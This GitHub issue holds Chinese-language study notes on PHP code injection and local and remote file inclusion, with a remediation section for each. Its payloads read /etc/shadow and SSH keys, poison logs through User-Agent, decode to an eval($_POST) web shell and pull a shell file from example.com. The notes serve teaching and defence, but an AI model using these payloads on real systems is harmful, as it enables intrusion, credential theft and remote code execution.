Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

代码注入 & 文件包含 #99

Open
PyxYuYu opened this issue Mar 27, 2017 · 0 comments
Open

代码注入 & 文件包含 #99

PyxYuYu opened this issue Mar 27, 2017 · 0 comments
Labels

Comments

@PyxYuYu
Copy link
Owner

PyxYuYu commented Mar 27, 2017

A book that remains shut is but a block.

0x01 代码注入

  • 代码注入:当应用程序调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,如果用户输入恶意字符串,被转化成代码执行,将造成代码注入
  • 将字符串转化成代码执行的相关函数
   PHP:eval、assert
   JavaScript:eval
   VbScript:Execute、Eval
   Python:exec
   Java:Java 内没有类似 PHP 中 eval 这种可以直接将字符串转化成代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL 等,这些都能导致代码注入
  • PHP 中的代码注入
    • 代码执行函数
       eval
       assert
       callback 函数
       preg_replace + /e 模式
       unserialize() ( `PHP` 反序列化函数)
    
    • 漏洞方式
      • 直接获得之后再赋值给 ret,可以直接造成代码注入
         eval("\$ret = $data;");
      
      • deal 处理后赋值给 ret,单引号传参,闭合单引号就可以造成代码注入
         eval("\$ret = deal('$data');");
      
      • deal 处理后赋值给 ret,双引号传参,双引号在代码中有个很重要的特性,它可以解析其中的函数,比如传入 ${phpinfo()}phpinfo 将会被执行,而得到的返回值作为参数传入 deal,不需要考虑闭合双引号
         eval("\$ret = deal("$data");");
      
      • preg_replace 函数,第一个参数使用了 /e 模式,第二个参数就会使用 eval 来执行(/e 模式会对 " ' 进行转义),这里又是双引号包裹,和上面的一样,{@${phpinfo()}} 也可以造成代码注入
         preg_replace('/(.*)<\/data>/e', '$ret="\1";', $data);
      
    • 修复方案
      • 能使用 JSON 保存数组、对象就使用 JSON,不要将 PHP 对象保存成字符串,否则读取的时候需要使用 eval
      • 必须使用 eval 的情况,一定确保用户不能轻易接触 eval 的参数,或者严格的正则判断输入的数据格式,对于数据一定要使用单引号包裹可控代码,并在插入前进行 addslashes 转义
      • 放弃使用 preg_replacee 模式,使用 pre_replace_callback 替代,如果一定要使用 e 模式,确保第二个参数中,对于正则匹配出的对象,是用单引号包裹的
0x02 文件包含

  • 文件包含
    • 文件包含漏洞的产生原因是在通过引入文件的时候,由于传入的文件名没有经过合理的检验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意的代码注入,可以分为本地文件包含和远程文件包含两种形式
    • 被包含的文件在 服务器本地 时,形成本地文件包含漏洞
    • 被包含的文件在 第三方服务器 时,形成远程文件包含漏洞
    • PHP 文件包含
      • PHP 4 存在远程和本地文件包含,PHP 5 仅存在本地文件包含
      • 漏洞前提
         php.ini
         allow_url_fopen   On  默认开启   可以包含远程文件,使用 ftp 和 http 协议
         allow_url_include On  默认关闭   允许引用 URL 文件
      
      • 常用的包含文件函数
        • include()
          • 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给一个警告,继续向下执行
        • include_once()
          • 和上面一样,区别在于当重复调用同一文件时,程序只调用一次
        • require()
          • include() 一样,区别在于发生错误时,函数会输出错误信息,终止脚本的运行
          • require()PHP 程序执行前,会先读入 require() 所指定引入的文件,使它变成 PHP 程序的一部分
        • require_once()
          • 和上面一样,区别在于当重复调用同一文件时,程序只调用一次
        • require 一般是用于文件头包含类文件、数据库等文件
        • include 一般是用于包含 html 模板文件
      • 本地文件包含
        • 包含目录文件
          • 如果目录文件中的内容是 PHP,则内容会被当成 PHP 执行,不是 PHP 则会读取到文件内容(比如读取 /etc/passwd 等敏感文件)
          • 同目录下文件 (./ 当前目录)
             ?file=.htaccess
             ?file=./.htaccess
          
          • 目录遍历 (../ 上级目录)(可以获取其他配置文件)
             ?file=./../../../var/lib/locate.db
          
          • 常利用的服务器上的重要文件
             .htaccess
             /var/lib/locate.db
             /var/lib/mlocate/mlocate.db 
             /var/log/apache/error.log
             /usr/local/apache2/conf/httpd.conf
             /root/.ssh/authorized_keys
             /root/.ssh/id_rsa
             /root/.ssh/id_rsa.keystore
             /root/.ssh/id_rsa.pub
             /root/.ssh/known_hosts
             /etc/shadow
             /root/.bash_history
             /root/.mysql_history
             /proc/self/fd/fd[0-9]* (文件标识符)
             /proc/mounts
             /proc/config.gz
          
        • 包含日志文件
          • 无法上传文件时,可以尝试利用 User-Agent 插入 Payload 到日志文件
          • User-Agent 用双引号包裹,比如
             User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0<?php phpinfo(); ?>"
          
          • 日志文件,可以是错误文件,也可以是访问文件
             ?file=./../../../../../var/log/apache/error.log
          
          • 如果大日志导致浏览器卡死,可以在 Payload 后加上一个 exit() 退出
          • 如果包含不成功,可能是 open_basedir 限制了目录
          • 文件包含常见日志路径
             /var/log/apache/error_log
             /var/log/apache/access_log
             /var/log/apache2/error_log
             /var/log/apache2/access_log
             /var/www/logs/error_log
             /var/www/logs/access.log
             /var/log/error_log
             /var/log/access.log
             /usr/local/apache/logs/error.log
             /usr/local/apache/logs/access_log
          
        • 包含 session 文件
          • session 文件一般在 /tmp 目录下,格式为 sess_[your phpsessid value],有时候也有可能在 /var/lib/php5 之类,在此之前可以先读取配置文件来确定
          • 某些特定的情况下如果可以控制 session 的值,可能可以获得 shell
             ?file=../../../../tmp/sess_92d8nrMgJgQgViCwsDjbXOy
          
        • 包含临时文件 tmp
          • 向服务器上传任意 PHP 文件,如果以 form-data 方式提交请求上传数据时,会生成临时文件,通过 phpinfo 来获得临时文件的路径以及名称,然后通过包含临时文件执行代码拿 shell
          • 临时文件会在极短的时间内被删除,所以需要在删除之前包含它,提交大量数据包,让缓存文件足够大,删除的时候相对花费较多时间,从而可以在被删除前包含
        • 绕过本地文件包含限制
          • 典型漏洞代码
             <?php include("inc/" . $_GET['file'] . ".htm"); ?>
          
          • %00 截断
             ?file=../../../../../ect/passwd%00
          
          • magic_quotes_gpc=off 并且 PHP 小于 5.3.4
          • 如果是 on,会被转义导致截断失败
          • PHP 5.4之后修复截断特性
          • %00 目录遍历截断
             ?file=../../../../../../var/www/%00
          
          • magic_quotes_gpc=Off 并且 Unix 文件系统,比如 FreeBSDOpenBSDNetBSDSolaris
          • 路径长度截断
             ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
          
          • PHP 版本小于 5.2.8(?)可以成功,Linux 需要文件名长于 4096Windows 需要长于 256
          • 点号截断
             ?file=../../../../../../../../../boot.ini/.....[...]........
          
          • PHP 版本小于 5.2.8(?)可以成功,只适用于 Windows,点号需长于 256
        • 漏洞修复
          • PHP 中使用 open_basedir 将用户可操作的文件限制在某目录下,即指定在某区域
             // php.ini 中设置
             open_basedir = /dir/user/
          
          • 对传入的参数进行检验和过滤
      • 远程文件包含
        • 常用的引入远程文件的方法
        • 常见的协议
             ?file=[http|https|ftp]://example.com/shell.txt
          
          • allow_url_fopen = On 并且 allow_url_include = On
          • 远程主机上创建一个带有攻击性代码的文件(txtjpg 均可),这个文件不能被服务器解析,所以不可以为 PHP 脚本文件,否则会导致攻击脚本不能在受害者机器上运行
        • 利用 PHPinput(利用 POST 将数据输入)
             ?file=php://input
             // POST Payload
             <?php phpinfo(); ?>
          
          • allow_url_include = OnPHP < 5.3.0
          • 遇到 file_get_contents() 时,可以用 php://input 绕过
            • file_get_contents() 函数会将文件中的内容读取返回至一个字符串中,如果直接将字符串作为参数会报错
            • php://input 的话,可以获取到 POST 的数据
            • file_get_contents() 返回的是字符串,无法被执行,而 include() 是将字符串导入,可以作为可执行代码
        • 利用 PHPfilter
             // 读取 index.php 源码(base64 编码)
             ?file=php://filter/convert.base64-encode/resource=index.php
             // 读取 index.php 源码(base64 解码)
             ?file=php://filter/convert.base64-decode/resource=index.php
          
          • filter 过滤器,可以在执行代码前将代码换个方式读取出来,因为只是读取,所以无需开启 allow_url_include
          • 利用解码 decode,可以突破符号限制,写入一句话
             // 每次利用 file_put_contents 将字符逐个写入到文件 N 中
             PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
             // 解码后为 <?php eval($_POST[9]);
             // 最后包含文件 N,解码
             param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
          
        • 利用 data URIs
             ?file=data://text/plain;base64,base64编码的Payload
          
          • allow_url_include = OnPHP < 5.3.0
          • 将原本 include 的文件流重定向到了用户可控制的输入流中,即将 Payload 包含在了 include 的文件流中
          • 注: <?php phpinfo(); 此类执行代码没有 ?> 后缀,有就无法执行
        • 利用 zip 协议
             ?file=zip://压缩包%23内部文件
          
          • 因为 zip 协议需要 #,为了避免和 URL 协议中的 # 冲突,转义成 %23
          • 比如,包含的后缀必须为 .php
             $include_file=$_GET[include_file];
             if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
                     {
                         require( $include_file );
                     }
          
          • 新建 1.php,里面可以写执行语句,比如一句话
          • 压缩成 zip,将压缩包重命名为 zip.jpg
          • 然后将 zip.jpg 上传
                 ?file=zip://D:/ApmServ/www/htdocs/zip.jpg%231.php
          
        • 利用 phar 协议
             ?file=phar://压缩包/内部文件
          
          • PHP > 5.3
          • 压缩包一般是 phar 后缀,需要代码来生成,zip 后缀也可以
             <?php
             $p = new  PharData(dirname(__FILE__).'/phartest.aaa',  0,'phartest',Phar::ZIP);
             $p->addFromString('testfile.txt',  '<?php phpinfo();?>');
             ?>
          
          • 创建 phar 的时候注意 php.iniphar.readonly=Off
          • 压缩包需要是 zip 协议压缩,rar 不行
          • 利用 URL 中的压缩包后缀可以是任意后缀
             ?file=phar://./phar/phartest.aaa/testfile.txt
          
          • phartest.aaa 是一个 zip 文件,其中有个一个 testfile.txt
        • 绕过远程文件包含限制
          • 典型漏洞代码
             <?php include($_GET['file'] . ".htm"); ?>
          
          • 各种绕过限制
             ?file=http://example.com/shell
          
             ?file=http://example.com/shell.txt?
             // 无法向攻击者编写的脚本传递参数,如果攻击者脚本加入了参数,会导致无法拦截
          
             ?file=http://example.com/shell.txt%23
             // allow_url_fopen = On 并且 allow_url_include = On
          
             ?file=\evilshare\shell.php
             // allow_url_include = On
          
        • 漏洞修复
          • 对引入文件包含的参数进行过滤
          • 对所引入的文件的域进行限制
          • 禁止服务器访问可信域以外的文件
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant